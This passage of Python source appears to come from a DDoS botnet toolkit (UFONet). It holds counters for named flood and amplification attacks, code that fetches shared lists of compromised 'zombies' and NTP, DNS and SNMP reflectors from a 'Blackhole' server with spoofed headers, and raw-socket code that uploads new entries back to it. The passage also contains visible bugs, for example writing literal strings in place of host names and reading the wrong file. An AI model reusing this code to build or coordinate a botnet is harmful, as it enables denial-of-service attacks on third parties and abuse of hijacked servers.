  1824. stats_json_file.write(json.dumps(data))
  1825. stats_json_file.close()
  1826. def update_xmas_stats(self):
  1827. stats_json_file = open(self.mothership_stats_file, "r")
  1828. data = json.load(stats_json_file)
  1829. stats_json_file.close()
  1830. axmas = data["xmas"]
  1831. axmas = str(int(axmas) + 1) # add new xmas attack to recorded stats
  1832. self.total_xmas = self.total_xmas + 1 # add new xmas attack to session stats
  1833. data["xmas"] = axmas
  1834. stats_json_file = open(self.mothership_stats_file, "w+")
  1835. stats_json_file.write(json.dumps(data))
  1836. stats_json_file.close()
  1837. def update_ufoack_stats(self):
  1838. stats_json_file = open(self.mothership_stats_file, "r")
  1839. data = json.load(stats_json_file)
  1840. stats_json_file.close()
  1841. aufoack = data["ufoack"]
  1842. aufoack = str(int(aufoack) + 1) # add new ufoack attack to recorded stats
  1843. self.total_ufoack = self.total_ufoack + 1 # add new ufoack attack to session stats
  1844. data["ufoack"] = aufoack
  1845. stats_json_file = open(self.mothership_stats_file, "w+")
  1846. stats_json_file.write(json.dumps(data))
  1847. stats_json_file.close()
  1848. def update_uforst_stats(self):
  1849. stats_json_file = open(self.mothership_stats_file, "r")
  1850. data = json.load(stats_json_file)
  1851. stats_json_file.close()
  1852. auforst = data["uforst"]
  1853. auforst = str(int(auforst) + 1) # add new uforst attack to recorded stats
  1854. self.total_uforst = self.total_uforst + 1 # add new uforst attack to session stats
  1855. data["uforst"] = auforst
  1856. stats_json_file = open(self.mothership_stats_file, "w+")
  1857. stats_json_file.write(json.dumps(data))
  1858. stats_json_file.close()
  1859. def update_droper_stats(self):
  1860. stats_json_file = open(self.mothership_stats_file, "r")
  1861. data = json.load(stats_json_file)
  1862. stats_json_file.close()
  1863. adroper = data["droper"]
  1864. adroper = str(int(adroper) + 1) # add new droper attack to recorded stats
  1865. self.total_droper = self.total_droper + 1 # add new droper attack to session stats
  1866. data["droper"] = adroper
  1867. stats_json_file = open(self.mothership_stats_file, "w+")
  1868. stats_json_file.write(json.dumps(data))
  1869. stats_json_file.close()
  1870. def update_overlap_stats(self):
  1871. stats_json_file = open(self.mothership_stats_file, "r")
  1872. data = json.load(stats_json_file)
  1873. stats_json_file.close()
  1874. aoverlap = data["overlap"]
  1875. aoverlap = str(int(aoverlap) + 1) # add new overlap attack to recorded stats
  1876. self.total_overlap = self.total_overlap + 1 # add new overlap attack to session stats
  1877. data["overlap"] = aoverlap
  1878. stats_json_file = open(self.mothership_stats_file, "w+")
  1879. stats_json_file.write(json.dumps(data))
  1880. stats_json_file.close()
  1881. def update_pinger_stats(self):
  1882. stats_json_file = open(self.mothership_stats_file, "r")
  1883. data = json.load(stats_json_file)
  1884. stats_json_file.close()
  1885. apinger = data["pinger"]
  1886. apinger = str(int(apinger) + 1) # add new pinger attack to recorded stats
  1887. self.total_pinger = self.total_pinger + 1 # add new pinger attack to session stats
  1888. data["pinger"] = apinger
  1889. stats_json_file = open(self.mothership_stats_file, "w+")
  1890. stats_json_file.write(json.dumps(data))
  1891. stats_json_file.close()
  1892. def update_ufoudp_stats(self):
  1893. stats_json_file = open(self.mothership_stats_file, "r")
  1894. data = json.load(stats_json_file)
  1895. stats_json_file.close()
  1896. aufoudp = data["ufoudp"]
  1897. aufoudp = str(int(aufoudp) + 1) # add new ufoudp attack to recorded stats
  1898. self.total_ufoudp = self.total_ufoudp + 1 # add new ufoudp attack to session stats
  1899. data["ufoudp"] = aufoudp
  1900. stats_json_file = open(self.mothership_stats_file, "w+")
  1901. stats_json_file.write(json.dumps(data))
  1902. stats_json_file.close()
  1903. def update_nuke_stats(self):
  1904. stats_json_file = open(self.mothership_stats_file, "r")
  1905. data = json.load(stats_json_file)
  1906. stats_json_file.close()
  1907. anuke = data["nuke"]
  1908. anuke = str(int(anuke) + 1) # add new nuke attack to recorded stats
  1909. self.total_nuke = self.total_nuke + 1 # add new nuke attack to session stats
  1910. data["nuke"] = anuke
  1911. stats_json_file = open(self.mothership_stats_file, "w+")
  1912. stats_json_file.write(json.dumps(data))
  1913. stats_json_file.close()
  1914. def update_tachyon_stats(self):
  1915. stats_json_file = open(self.mothership_stats_file, "r")
  1916. data = json.load(stats_json_file)
  1917. stats_json_file.close()
  1918. atachyon = data["tachyon"]
  1919. atachyon = str(int(atachyon) + 1) # add new tachyon attack to recorded stats
  1920. self.total_tachyon = self.total_tachyon + 1 # add new tachyon attack to session stats
  1921. data["tachyon"] = atachyon
  1922. stats_json_file = open(self.mothership_stats_file, "w+")
  1923. stats_json_file.write(json.dumps(data))
  1924. stats_json_file.close()
  1925. def update_monlist_stats(self):
  1926. stats_json_file = open(self.mothership_stats_file, "r")
  1927. data = json.load(stats_json_file)
  1928. stats_json_file.close()
  1929. amonlist = data["monlist"]
  1930. amonlist = str(int(amonlist) + 1) # add new monlist attack to recorded stats
  1931. self.total_monlist = self.total_monlist + 1 # add new monlist attack to session stats
  1932. data["monlist"] = amonlist
  1933. stats_json_file = open(self.mothership_stats_file, "w+")
  1934. stats_json_file.write(json.dumps(data))
  1935. stats_json_file.close()
  1936. def update_sniper_stats(self):
  1937. stats_json_file = open(self.mothership_stats_file, "r")
  1938. data = json.load(stats_json_file)
  1939. stats_json_file.close()
  1940. asniper = data["sniper"]
  1941. asniper = str(int(asniper) + 1) # add new sniper attack to recorded stats
  1942. self.total_sniper = self.total_sniper + 1 # add new sniper attack to session stats
  1943. data["sniper"] = asniper
  1944. stats_json_file = open(self.mothership_stats_file, "w+")
  1945. stats_json_file.write(json.dumps(data))
  1946. stats_json_file.close()
  1947. def uploading_list(self):
  1948. from io import BytesIO
  1949. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1950. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1951. abductions = "botnet/abductions.txt.gz"
  1952. troops = "botnet/troops.txt.gz"
  1953. robots = "botnet/robots.txt.gz"
  1954. drones = "botnet/drones.txt.gz"
  1955. reflectors = "botnet/reflectors.txt.gz"
  1956. crystals = "botnet/crystals.txt.gz"
  1957. warps = "botnet/warps.txt.gz"
  1958. bosons = "botnet/bosons.txt.gz"
  1959. if self.options.timeout: # set timeout
  1960. try:
  1961. timeout = int(self.options.timeout)
  1962. except:
  1963. timeout = 5
  1964. else:
  1965. timeout = 5
  1966. if timeout < 1:
  1967. timeout = 5
  1968. try:
  1969. print("[AI] Checking integrity of [Blackhole]: "+self.blackhole+"\n")
  1970. if self.options.forcessl:
  1971. if self.options.proxy: # set proxy
  1972. self.proxy_transport(options.proxy)
  1973. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1974. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1975. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1976. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1977. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1978. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1979. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1980. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1981. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1982. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1983. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  1984. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1985. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  1986. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1987. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  1988. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1989. else:
  1990. if self.options.proxy: # set proxy
  1991. self.proxy_transport(options.proxy)
  1992. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1993. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1994. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1995. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1996. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1997. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1998. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1999. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2000. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2001. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2002. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2003. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2004. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2005. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2006. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  2007. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2008. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "":
  2009. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2010. print('-'*12 + '\n')
  2011. print("[Error] [AI] Unable to upload list of [Zombies] to this [Blackhole] [Server] -> [Exiting!]\n")
  2012. return
  2013. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  2014. f_in_abductions = gzip.open(BytesIO(abductions_reply), 'rb')
  2015. f_out_abductions = open('botnet/abductions.txt', 'wb')
  2016. f_out_abductions.write(f_in_abductions.read())
  2017. f_in_abductions.close()
  2018. f_out_abductions.close()
  2019. num_zombies = 0
  2020. with open('botnet/abductions.txt') as f:
  2021. for _ in f:
  2022. num_zombies = num_zombies + 1
  2023. print("\n[Info] [Blackhole] Total [Zombies]: "+ str(num_zombies))
  2024. f_in_robots = gzip.open(BytesIO(robots_reply), 'rb')
  2025. f_out_robots = open('botnet/robots.txt', 'wb')
  2026. f_out_robots.write(f_in_robots.read())
  2027. f_in_robots.close()
  2028. f_out_robots.close()
  2029. num_robots = 0
  2030. with open('botnet/robots.txt') as f:
  2031. for _ in f:
  2032. num_robots = num_robots + 1
  2033. print("[Info] [Blackhole] Total [Droids] : "+ str(num_robots))
  2034. f_in_troops = gzip.open(BytesIO(troops_reply), 'rb')
  2035. f_out_troops = open('botnet/troops.txt', 'wb')
  2036. f_out_troops.write(f_in_troops.read())
  2037. f_in_troops.close()
  2038. f_out_troops.close()
  2039. num_aliens = 0
  2040. with open('botnet/aliens.txt') as f:
  2041. for _ in f:
  2042. num_aliens = num_aliens + 1
  2043. print("[Info] [Blackhole] Total [Aliens] : "+ str(num_aliens))
  2044. f_in_drones = gzip.open(BytesIO(drones_reply), 'rb')
  2045. f_out_drones = open('botnet/drones.txt', 'wb')
  2046. f_out_drones.write(f_in_drones.read())
  2047. f_in_drones.close()
  2048. f_out_drones.close()
  2049. num_drones = 0
  2050. with open('botnet/drones.txt') as f:
  2051. for _ in f:
  2052. num_drones = num_drones + 1
  2053. print("[Info] [Blackhole] Total [UCAVs] : "+ str(num_drones))
  2054. f_in_reflectors = gzip.open(BytesIO(reflectors_reply), 'rb')
  2055. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  2056. f_out_reflectors.write(f_in_reflectors.read())
  2057. f_in_reflectors.close()
  2058. f_out_reflectors.close()
  2059. num_reflectors = 0
  2060. with open('botnet/reflectors.txt') as f:
  2061. for _ in f:
  2062. num_reflectors = num_reflectors + 1
  2063. print("[Info] [Blackhole] Total [X-RPCs] : "+ str(num_reflectors))
  2064. f_in_crystals = gzip.open(BytesIO(crystals_reply), 'rb')
  2065. f_out_crystals = open('botnet/crystals.txt', 'wb')
  2066. f_out_crystals.write(f_in_crystals.read())
  2067. f_in_crystals.close()
  2068. f_out_crystals.close()
  2069. num_crystals = 0
  2070. with open('botnet/crystals.txt') as f:
  2071. for _ in f:
  2072. num_crystals = num_crystals + 1
  2073. print("[Info] [Blackhole] Total [NTPs] : "+ str(num_crystals))
  2074. f_in_warps = gzip.open(BytesIO(warps_reply), 'rb')
  2075. f_out_warps = open('botnet/warps.txt', 'wb')
  2076. f_out_warps.write(f_in_warps.read())
  2077. f_in_warps.close()
  2078. f_out_warps.close()
  2079. num_warps = 0
  2080. with open('botnet/warps.txt') as f:
  2081. for _ in f:
  2082. num_warps = num_warps + 1
  2083. print("[Info] [Blackhole] Total [DNSs] : "+ str(num_warps))
  2084. f_in_bosons = gzip.open(BytesIO(bosons_reply), 'rb')
  2085. f_out_bosons = open('botnet/bosons.txt', 'wb')
  2086. f_out_bosons.write(f_in_bosons.read())
  2087. f_in_bosons.close()
  2088. f_out_bosons.close()
  2089. num_bosons = 0
  2090. with open('botnet/bosons.txt') as f:
  2091. for _ in f:
  2092. num_bosons = num_bosons + 1
  2093. print("[Info] [Blackhole] Total [SNMPs] : "+ str(num_bosons))
  2094. print('-'*12 + '\n')
  2095. if not self.options.forceyes:
  2096. update_reply = input("[AI] Do you want to merge ONLY the new [Zombies] into [Blackhole]? (Y/n)")
  2097. print('-'*25)
  2098. else:
  2099. update_reply = "Y"
  2100. if update_reply == "n" or update_reply == "N":
  2101. os.remove('botnet/abductions.txt') # remove abductions file
  2102. os.remove('botnet/troops.txt') # remove troops file
  2103. os.remove('botnet/robots.txt') # remove robots file
  2104. os.remove('botnet/drones.txt') # remove drones file
  2105. os.remove('botnet/reflectors.txt') # remove reflectors file
  2106. os.remove('botnet/crystals.txt') # remove crystals file
  2107. os.remove('botnet/warps.txt') # remove warps file
  2108. os.remove('botnet/bosons.txt') # remove bosons file
  2109. print("\n[Info] [AI] [Control] Aborting uploading process and cleaning temporal files... -> [Exiting!]\n")
  2110. return
  2111. else:
  2112. print("\n[AI] Checking integrity of your list of [Zombies] -> [OK!]\n") # only upload valid zombies
  2113. print('='*35)
  2114. zombies = self.extract_zombies()
  2115. if not zombies:
  2116. return
  2117. test = self.testing(zombies)
  2118. zombies_community = []
  2119. zombies_added = 0
  2120. f = open('botnet/abductions.txt')
  2121. abductions = f.readlines()
  2122. abductions = [abduction.strip() for abduction in abductions]
  2123. f.close()
  2124. fz = open(self.zombies_file)
  2125. zombies = fz.readlines()
  2126. zombies = [zombie.strip() for zombie in zombies]
  2127. fz.close()
  2128. for zombie in zombies:
  2129. if zombie not in abductions:
  2130. zombies_community.append(zombie)
  2131. zombies_added = zombies_added + 1
  2132. else:
  2133. pass
  2134. print("[Info] [Blackhole] Added [Zombies]: " + str(zombies_added))
  2135. aliens = self.extract_aliens()
  2136. if not aliens:
  2137. return
  2138. aliens_community = []
  2139. aliens_added = 0
  2140. f = open('botnet/troops.txt')
  2141. troops = f.readlines()
  2142. troops = [troop.strip() for troop in troops]
  2143. f.close()
  2144. fz = open(self.aliens_file)
  2145. aliens = fz.readlines()
  2146. aliens = [alien.strip() for alien in aliens]
  2147. fz.close()
  2148. for alien in aliens:
  2149. if alien not in troops:
  2150. aliens_community.append(alien)
  2151. aliens_added = aliens_added + 1
  2152. else:
  2153. pass
  2154. print("[Info] [Blackhole] Added [Aliens] : " + str(aliens_added))
  2155. droids = self.extract_droids()
  2156. if not droids:
  2157. return
  2158. droids_community = []
  2159. droids_added = 0
  2160. f = open('botnet/robots.txt')
  2161. robots = f.readlines()
  2162. robots = [robot.strip() for robot in robots]
  2163. f.close()
  2164. fz = open(self.droids_file)
  2165. droids = fz.readlines()
  2166. droids = [droid.strip() for droid in droids]
  2167. fz.close()
  2168. for droid in droids:
  2169. if droid not in robots:
  2170. droids_community.append(droid)
  2171. droids_added = droids_added + 1
  2172. else:
  2173. pass
  2174. print("[Info] [Blackhole] Added [Droids] : " + str(droids_added))
  2175. ucavs = self.extract_ucavs()
  2176. if not ucavs:
  2177. return
  2178. ucavs_community = []
  2179. ucavs_added = 0
  2180. f = open('botnet/drones.txt')
  2181. drones = f.readlines()
  2182. drones = [drone.strip() for drone in drones]
  2183. f.close()
  2184. fz = open(self.ucavs_file)
  2185. ucavs = fz.readlines()
  2186. ucavs = [ucav.strip() for ucav in ucavs]
  2187. fz.close()
  2188. for ucav in ucavs:
  2189. if ucav not in drones:
  2190. ucavs_community.append(ucav)
  2191. ucavs_added = ucavs_added + 1
  2192. else:
  2193. pass
  2194. print("[Info] [Blackhole] Added [UCAVs] : " + str(ucavs_added))
  2195. rpcs = self.extract_rpcs()
  2196. if not rpcs:
  2197. return
  2198. rpcs_community = []
  2199. rpcs_added = 0
  2200. f = open('botnet/reflectors.txt')
  2201. reflectors = f.readlines()
  2202. reflectors = [reflector.strip() for reflector in reflectors]
  2203. f.close()
  2204. fz = open(self.rpcs_file)
  2205. rpcs = fz.readlines()
  2206. rpcs = [rpc.strip() for rpc in rpcs]
  2207. fz.close()
  2208. for rpc in rpcs:
  2209. if rpc not in reflectors:
  2210. rpcs_community.append(rpc)
  2211. rpcs_added = rpcs_added + 1
  2212. else:
  2213. pass
  2214. print("[Info] [Blackhole] Added [X-RPCs] : " + str(rpcs_added))
  2215. ntps = self.extract_ntps()
  2216. if not ntps:
  2217. return
  2218. ntps_community = []
  2219. ntps_added = 0
  2220. f = open('botnet/crystals.txt')
  2221. crystals = f.readlines()
  2222. crystals = [crystal.strip() for crystal in crystals]
  2223. f.close()
  2224. fz = open(self.ntps_file)
  2225. ntps = fz.readlines()
  2226. ntps = [ntp.strip() for ntp in ntps]
  2227. fz.close()
  2228. for ntp in ntps:
  2229. if ntp not in crystals:
  2230. ntps_community.append(ntp)
  2231. ntps_added = ntps_added + 1
  2232. else:
  2233. pass
  2234. print("[Info] [Blackhole] Added [NTPs] : " + str(ntps_added))
  2235. dnss = self.extract_dnss()
  2236. if not dnss:
  2237. return
  2238. dnss_community = []
  2239. dnss_added = 0
  2240. f = open('botnet/warps.txt')
  2241. warps = f.readlines()
  2242. warps = [warp.strip() for warp in warps]
  2243. f.close()
  2244. fz = open(self.dnss_file)
  2245. dnss = fz.readlines()
  2246. dnss = [dns.strip() for dns in dnss]
  2247. fz.close()
  2248. for dns in dnss:
  2249. if dns not in warps:
  2250. dnss_community.append(dns)
  2251. dnss_added = dnss_added + 1
  2252. else:
  2253. pass
  2254. print("[Info] [Blackhole] Added [DNSs] : " + str(dnss_added))
  2255. snmps = self.extract_snmps()
  2256. if not snmps:
  2257. return
  2258. snmps_community = []
  2259. snmps_added = 0
  2260. f = open('botnet/bosons.txt')
  2261. bosons = f.readlines()
  2262. bosons = [boson.strip() for boson in bosons]
  2263. f.close()
  2264. fz = open(self.snmps_file)
  2265. snmps = fz.readlines()
  2266. snmps = [snmp.strip() for snmp in snmps]
  2267. fz.close()
  2268. for snmp in snmps:
  2269. if snmp not in crystals:
  2270. snmps_community.append(snmp)
  2271. snmps_added = snmps_added + 1
  2272. else:
  2273. pass
  2274. print("[Info] [Blackhole] Added [SNMPs] : " + str(snmps_added))
  2275. print('-'*12 + '\n')
  2276. if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0 and ntps_added == 0 and dnss_added == 0 and snmps_added == 0: # not any zombie
  2277. os.remove('botnet/abductions.txt') # remove abductions file
  2278. os.remove('botnet/troops.txt') # remove troops file
  2279. os.remove('botnet/robots.txt') # remove robots file
  2280. os.remove('botnet/drones.txt') # remove ucavs file
  2281. os.remove('botnet/reflectors.txt') # remove rpcs file
  2282. os.remove('botnet/crystals.txt') # remove crystals file
  2283. os.remove('botnet/warps.txt') # remove warps file
  2284. os.remove('botnet/bosons.txt') # remove snmps file
  2285. print("[Info] [AI] Try to search for new [Zombies]. These are already in this [Blackhole] -> [Exiting!]\n")
  2286. return
  2287. else:
  2288. print("[Info] [AI] Trying to upload new [Zombies] to [Blackhole]...\n")
  2289. fc = gzip.open('botnet/community_zombies.txt.gz', 'wb')
  2290. for zombie in zombies_community:
  2291. fc.write(b'zombie.strip()')
  2292. fc.close()
  2293. os.remove('botnet/abductions.txt') # remove abductions file
  2294. fc = gzip.open('botnet/community_aliens.txt.gz', 'wb')
  2295. for alien in aliens_community:
  2296. fc.write(b'alien.strip()')
  2297. fc.close()
  2298. os.remove('botnet/troops.txt') # remove troops file
  2299. fc = gzip.open('botnet/community_droids.txt.gz', 'wb')
  2300. for droid in droids_community:
  2301. fc.write(b'droid.strip()')
  2302. fc.close()
  2303. os.remove('botnet/robots.txt') # remove robots file
  2304. fc = gzip.open('botnet/community_ucavs.txt.gz', 'wb')
  2305. for ucav in ucavs_community:
  2306. fc.write(b'ucav.strip()')
  2307. fc.close()
  2308. os.remove('botnet/drones.txt') # remove drones file
  2309. fc = gzip.open('botnet/community_rpcs.txt.gz', 'wb')
  2310. for rpc in rpcs_community:
  2311. fc.write(b'rpc.strip()')
  2312. fc.close()
  2313. os.remove('botnet/reflectors.txt') # remove reflectors file
  2314. fc = gzip.open('botnet/community_ntps.txt.gz', 'wb')
  2315. for ntp in ntps_community:
  2316. fc.write(b'ntp.strip()')
  2317. fc.close()
  2318. os.remove('botnet/crystals.txt') # remove crystals file
  2319. fc = gzip.open('botnet/community_dnss.txt.gz', 'wb')
  2320. for dns in dnss_community:
  2321. fc.write(b'dns.strip()')
  2322. fc.close()
  2323. os.remove('botnet/warps.txt') # remove warps file
  2324. fc = gzip.open('botnet/community_snmps.txt.gz', 'wb')
  2325. for snmp in snmps_community:
  2326. fc.write(b'snmp.strip()')
  2327. fc.close()
  2328. os.remove('botnet/bosons.txt') # remove bosons file
  2329. try: # open a socket and send data to the blackhole reciever port
  2330. host = self.blackhole
  2331. cport = 9991
  2332. mport = 9990
  2333. try:
  2334. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data
  2335. cs.connect((host, cport))
  2336. cs.send(("SEND " + 'community_zombies.txt.gz').encode())
  2337. cs.close()
  2338. f = open('botnet/community_zombies.txt.gz', "rb")
  2339. data = f.read()
  2340. f.close()
  2341. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2342. ms.connect((host, mport))
  2343. ms.send(data)
  2344. ms.close()
  2345. os.remove('botnet/community_zombies.txt.gz') # remove local zombies .gz file after transfer
  2346. time.sleep(1)
  2347. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2348. cs.connect((host, cport))
  2349. cs.send(("SEND " + 'community_aliens.txt.gz').encode())
  2350. cs.close()
  2351. f = open('botnet/community_aliens.txt.gz', "rb")
  2352. data = f.read()
  2353. f.close()
  2354. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2355. ms.connect((host, mport))
  2356. ms.send(data)
  2357. ms.close()
  2358. os.remove('botnet/community_aliens.txt.gz') # remove local aliens .gz file after transfer
  2359. time.sleep(1)
  2360. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2361. cs.connect((host, cport))
  2362. cs.send(("SEND " + 'community_robots.txt.gz').encode())
  2363. cs.close()
  2364. f = open('botnet/community_droids.txt.gz', "rb")
  2365. data = f.read()
  2366. f.close()
  2367. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2368. ms.connect((host, mport))
  2369. ms.send(data)
  2370. ms.close()
  2371. os.remove('botnet/community_droids.txt.gz') # remove local droids .gz file after transfer
  2372. time.sleep(1)
  2373. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2374. cs.connect((host, cport))
  2375. cs.send(("SEND " + 'community_ucavs.txt.gz').encode())
  2376. cs.close()
  2377. f = open('botnet/community_ucavs.txt.gz', "rb")
  2378. data = f.read()
  2379. f.close()
  2380. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2381. ms.connect((host, mport))
  2382. ms.send(data)
  2383. ms.close()
  2384. os.remove('botnet/community_ucavs.txt.gz') # remove local ucavs .gz file after transfer
  2385. time.sleep(1)
  2386. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2387. cs.connect((host, cport))
  2388. cs.send(("SEND " + 'community_rpcs.txt.gz').encode())
  2389. cs.close()
  2390. f = open('botnet/community_rpcs.txt.gz', "rb")
  2391. data = f.read()
  2392. f.close()
  2393. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2394. ms.connect((host, mport))
  2395. ms.send(data)
  2396. ms.close()
  2397. os.remove('botnet/community_rpcs.txt.gz') # remove local rpcs .gz file after transfer
  2398. time.sleep(1)
  2399. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2400. cs.connect((host, cport))
  2401. cs.send(("SEND " + 'community_ntps.txt.gz').encode())
  2402. cs.close()
  2403. f = open('botnet/community_ntps.txt.gz', "rb")
  2404. data = f.read()
  2405. f.close()
  2406. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2407. ms.connect((host, mport))
  2408. ms.send(data)
  2409. ms.close()
  2410. os.remove('botnet/community_ntps.txt.gz') # remove local ntps .gz file after transfer
  2411. time.sleep(1)
  2412. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2413. cs.connect((host, cport))
  2414. cs.send(("SEND " + 'community_dnss.txt.gz').encode())
  2415. cs.close()
  2416. f = open('botnet/community_dnss.txt.gz', "rb")
  2417. data = f.read()
  2418. f.close()
  2419. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2420. ms.connect((host, mport))
  2421. ms.send(data)
  2422. ms.close()
  2423. os.remove('botnet/community_dnss.txt.gz') # remove local dnss .gz file after transfer
  2424. time.sleep(1)
  2425. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2426. cs.connect((host, cport))
  2427. cs.send(("SEND " + 'community_snmps.txt.gz').encode())
  2428. cs.close()
  2429. f = open('botnet/community_snmps.txt.gz', "rb")
  2430. data = f.read()
  2431. f.close()
  2432. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2433. ms.connect((host, mport))
  2434. ms.send(data)
  2435. ms.close()
  2436. os.remove('botnet/community_snmps.txt.gz') # remove local snmps .gz file after transfer
  2437. time.sleep(2) # sleep a bit more
  2438. print('-'*12 + '\n')
  2439. print("[Info] [AI] Transfer -> [DONE!]\n")
  2440. except Exception as e:
  2441. print(str(e) + "\n")
  2442. except:
  2443. print('-'*12 + '\n')
  2444. print("[Error] [AI] Connecting sockets to [Blackhole] -> [Aborting!]\n")
  2445. return
  2446. except Exception as e:
  2447. print(str(e) + "\n")
  2448. print('-'*12 + '\n')
  2449. print("[Error] [AI] Unable to upload list of [Zombies] to this [Blackhole] -> [Exiting!]\n")
  2450. return
  2451. def update_gui_data(self):
  2452. # download all GUI stream data
  2453. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2454. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2455. if self.options.proxy: # set proxy
  2456. self.proxy_transport(self.options.proxy)
  2457. if self.options.timeout: # set timeout
  2458. try:
  2459. timeout = int(self.options.timeout)
  2460. except:
  2461. timeout = 5
  2462. else:
  2463. timeout = 5
  2464. if timeout < 1:
  2465. timeout = 5
  2466. if self.options.forcessl:
  2467. news = urllib.request.Request('https://'+self.blackhole+'/ufonet/news.txt', None, headers)
  2468. news_reply = urllib.request.urlopen(news, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2469. tv = urllib.request.Request('https://'+self.blackhole+'/ufonet/tv.txt', None, headers)
  2470. tv_reply = urllib.request.urlopen(tv, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2471. missions = urllib.request.Request('https://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  2472. missions_reply = urllib.request.urlopen(missions, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2473. board = urllib.request.Request('https://'+self.blackhole+'/ufonet/board.txt', None, headers)
  2474. board_reply = urllib.request.urlopen(board, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2475. grid = urllib.request.Request('https://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  2476. grid_reply = urllib.request.urlopen(grid, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2477. wargames = urllib.request.Request('https://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  2478. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2479. links = urllib.request.Request('https://'+self.blackhole+'/ufonet/links.txt', None, headers)
  2480. links_reply = urllib.request.urlopen(links, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2481. streams = urllib.request.Request('https://'+self.blackhole+'/ufonet/streams.txt', None, headers)
  2482. streams_reply = urllib.request.urlopen(streams, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2483. globalnet = urllib.request.Request('https://'+self.blackhole+'/ufonet/globalnet.txt', None, headers)
  2484. globalnet_reply = urllib.request.urlopen(globalnet, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2485. nodes = urllib.request.Request('https://'+self.blackhole+'/ufonet/nodes.txt', None, headers)
  2486. nodes_reply = urllib.request.urlopen(nodes, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2487. else:
  2488. news = urllib.request.Request('http://'+self.blackhole+'/ufonet/news.txt', None, headers)
